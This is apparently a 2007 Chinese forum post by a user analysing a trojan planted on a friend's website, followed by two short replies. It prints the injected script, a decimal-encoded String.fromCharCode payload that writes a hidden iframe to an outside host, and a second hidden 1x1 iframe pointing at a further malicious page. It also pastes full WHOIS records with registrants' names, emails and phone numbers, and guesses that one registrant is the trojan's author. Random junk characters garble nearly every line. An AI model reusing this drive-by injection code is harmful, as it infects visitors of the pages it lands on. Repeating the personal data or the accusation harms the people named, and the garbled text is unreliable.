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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 14 (sp  
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http://www.areway.cn/?p=175 y0~ttfv  
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W!Fc60>p@f  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 6Rmdf>a  
          @PctBS<s  
<script>t=’60,105,102,114,97,109,101, (NN;1{DB8  
32,115,114,99,61,104,116,116,112,58,47,47, RgZ9ZrE\  
102,114,101,101,46,117,45,117,117,117,46,99, L0GQH;Y,h  
110,47,101,114,114,111,114,46,104,116,109, \f)GW$`  
32,119,105,100,116,104,61,49,48,48,32,104, 1l Cr?  
101,105,103,104,116,61,48,62,60,47,105,102, Ok fxX&n  
114,97,109,101,62′; =%c\<<]aV  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> PC|ul{[*}  
                                                                                                  .t/@d(R  
<script>t=’60,105,102,114,97,109,101,32,115, ,Q0H)// ~  
114,99,61,104,116,116,112,58,47,47,102,114, q alrG2  
101,101,46,117,45,117,117,117,46,99,110,47, Ivj=?[c|  
101,114,114,111,114,46,104,116,109,32,119, _ElG&hyp  
105,100,116,104,61,49,48,48,32,104,101,105, `!AI:c*3p1  
103,104,116,61,48,62,60,47,105,102,114,97, DuIXv7"[  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); m/ID3_  
document.write(t);</script> k[,0kP;  
                                                                                                  -4P `:bF  
<html xmlns=” b&dv("e 4  
http://www.w3.org/1999/xhtml -Mz [S  
“> OA(.&5]  
<head> vm'ZA7f6  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> RBBmGZ  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Z!7xRy  
<title>首页 - 爱生活家庭网 8/&4l,M5  
                                                                                                                                                    51y#A Q@  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 h72CGA|  
转换字符串后的大概内容是(谁点击后果自付): " 0m4&K(3,  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… h9#)Eo   
                                                                                                                                  z^z`{B  
查询玉米u-uuu.cn的详细信息: /,UnT(/k(  
Domain Name: u-uuu.cn ]5Dh<QY&.  
ROID: 20070901s10001s64972306-cn -V;BkE76  
Domain Status: ok Hmt2~>FI[  
Registrant Organization: 王雷 MU(I#Prpe  
Registrant Name: 王雷  Ip:54  
Administrative Email: czlovexs@126.com wy0?*)~  
Sponsoring Registrar: 北京万网志成科技有限公司 c?u*,d) G  
Name Server:ns.yovole.com RS l*u[fB  
Name Server:ns1.yovole.com M.r7^9P  
Registration Date: 2007-09-01 17:54 Kf*Dy:e  
Expiration Date: 2008-09-01 17:54 ^$sq U  
最后PING了一下地址 都没有什么…. 6bLn8UT  
                                                                                                 qLP/z  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. C4P<GtR9  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 0bT[05.  
<script language=”javascript” src=” aWJj@',_  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script p:z~>ca  
> i7e6lC  
这个玉米应该有可能是木马作者的: 7GWOJ^)  
foafau.info的详细信息: 7CvBE;i  
Access to INFO WHOIS information is provided to assist persons in TEMxjowr  
determining the contents of a domain name registration record in the FROC/'  
Afilias registry database. The data in this record is provided by >%0$AW|Exu  
Afilias Limited for informational purposes only, and Afilias does not _B&Lyg !J  
guarantee its accuracy.  This service is intended only for query-based n|LpM.  
access. You agree that you will use this data only for lawful purposes l{>j8Ln  
and that, under no circumstances will you use this data to: (a) allow, r[H8;&EL  
enable, or otherwise support the transmission by e-mail, telephone, or "aCAA#$J  
facsimile of mass unsolicited, commercial advertising or solicitations e,MsF4'  
to entities other than the data recipient’s own existing customers; or ;R[3nb9%  
(b) enable high volume, automated, electronic processes that send 2\QsF,@`YU  
queries or data to the systems of Registry Operator, a Registrar, or 9 fYNSr  
Afilias except as reasonably necessary to register domain names or ?%}!_F`h%  
modify existing registrations. All rights reserved. Afilias reserves #/f~LTE  
the right to modify these terms at any time. By submitting this query, .V?[<}OJn  
you agree to abide by this policy. 8/BMFRJ  
Domain ID:D22418703-LRMS pDSNI2  
Domain Name:FOAFAU.INFO xZlCFu   
Created On:20-Nov-2007 16:05:42 UTC +38R#2JV  
Last Updated On:20-Nov-2007 16:05:44 UTC UL{J%Ze=~  
Expiration Date:20-Nov-2008 16:05:42 UTC {svo!pN:  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)  mPk'a  
Status:CLIENT DELETE PROHIBITED XW" 0:}`J  
Status:CLIENT RENEW PROHIBITED n2hV}t9O  
Status:CLIENT TRANSFER PROHIBITED >([,yMIY  
Status:CLIENT UPDATE PROHIBITED Vm>EF~r  
Status:TRANSFER PROHIBITED >MYDwH  
Registrant ID:GODA-040110615 9;?u%  
Registrant Name:liu hong |=m.eU  
Registrant Organization: 9S*"={}%  
Registrant Street1:beijing Mjy:k|aY"  
Registrant Street2: a4=(z72xe  
Registrant Street3: .8Bo5)q$a-  
Registrant City:beijing Zrr)<'!i  
Registrant State/Province: p2{7+m  
Registrant Postal Code:100000 LzNfMvh  
Registrant Country:CN \/o$io,kV  
Registrant Phone:+86.860108888777 #c>GjUJ.w  
Registrant Phone Ext.: @XV&^l -  
Registrant FAX: ACdPF_Y]  
Registrant FAX Ext.: 6 AGZ)gX  
Registrant Email:bbbshiji@163.com hN &?x5aC>  
Admin ID:GODA-240110615 ]b!n ;{5  
Admin Name:liu hong -` U |5  
Admin Organization: voRry6Q;  
Admin Street1:beijing )J}v.8   
Admin Street2: U5OX.0  
Admin Street3: 9ziFjP+1  
Admin City:beijing <78|~SKAV  
Admin State/Province: _wS=*-fT  
Admin Postal Code:100000 $2?AJ/2r$b  
Admin Country:CN 0!_?\)X  
Admin Phone:+86.860108888777 R=lw}jH[Z  
Admin Phone Ext.: ;*M@LP{*L  
Admin FAX: "J1A9|  
Admin FAX Ext.: _>R aw  
Admin Email:bbbshiji@163.com h<`aL;.g  
Billing ID:GODA-340110615 MQ-u9=ys  
Billing Name:liu hong nQjpJ /=  
Billing Organization: j)?M  
Billing Street1:beijing {E:`  
Billing Street2: gM\>{ihM'  
Billing Street3: D=TS IJ@  
Billing City:beijing SG&,o =I$  
Billing State/Province: Og/aTR<;=  
Billing Postal Code:100000 $`E?=L`$  
Billing Country:CN q[,p#uJ]  
Billing Phone:+86.860108888777 &uK(. @  
Billing Phone Ext.: 6*q1%rs:w  
Billing FAX: Q=`yPK>{$N  
Billing FAX Ext.: ;7QXs39S  
Billing Email:bbbshiji@163.com l< f9$l^U  
Tech ID:GODA-140110615 8(L$a1#5W  
Tech Name:liu hong 25$_tZP AI  
Tech Organization: X8$Mzeq  
Tech Street1:beijing >u&D@7~c  
Tech Street2: .d]/:T -0  
Tech Street3: P0,]`w  
Tech City:beijing ]?tRO  
Tech State/Province: =9GA LoGL  
Tech Postal Code:100000 Q&eyqk   
Tech Country:CN o utJ/~9;  
Tech Phone:+86.860108888777 Y 3BJ@sqz  
Tech Phone Ext.:  $3^M-w  
Tech FAX: @M5+12FYt  
Tech FAX Ext.: Lt't   
Tech Email:bbbshiji@163.com Jr2yn{s=S  
Name Server:NS27.DOMAINCONTROL.COM ^v'kEsE^*  
Name Server:NS28.DOMAINCONTROL.COM CUu Owx6%  
Name Server: 4 XjwU`  
Name Server: SIJ7Y{\.  
Name Server: pCs3-&rI3  
Name Server: QxYm3x5  
Name Server: t0m;tb bg  
Name Server: +'<P W+U$  
Name Server: .gx^L=O:  
Name Server: Zv;nY7B  
Name Server: h;gc5"mG  
Name Server: {aY) Qv}  
Name Server: _;j1g%  
                                                                                                          8tx*z"2S  
接着下载每个文件里面的代码: NP T-d  
一步一步看.. DM^0[3XuV5  
R| ?Q&F_$  
~~W.]>f  
djdTh +>28  
WNGX`V,d  
WHdMP  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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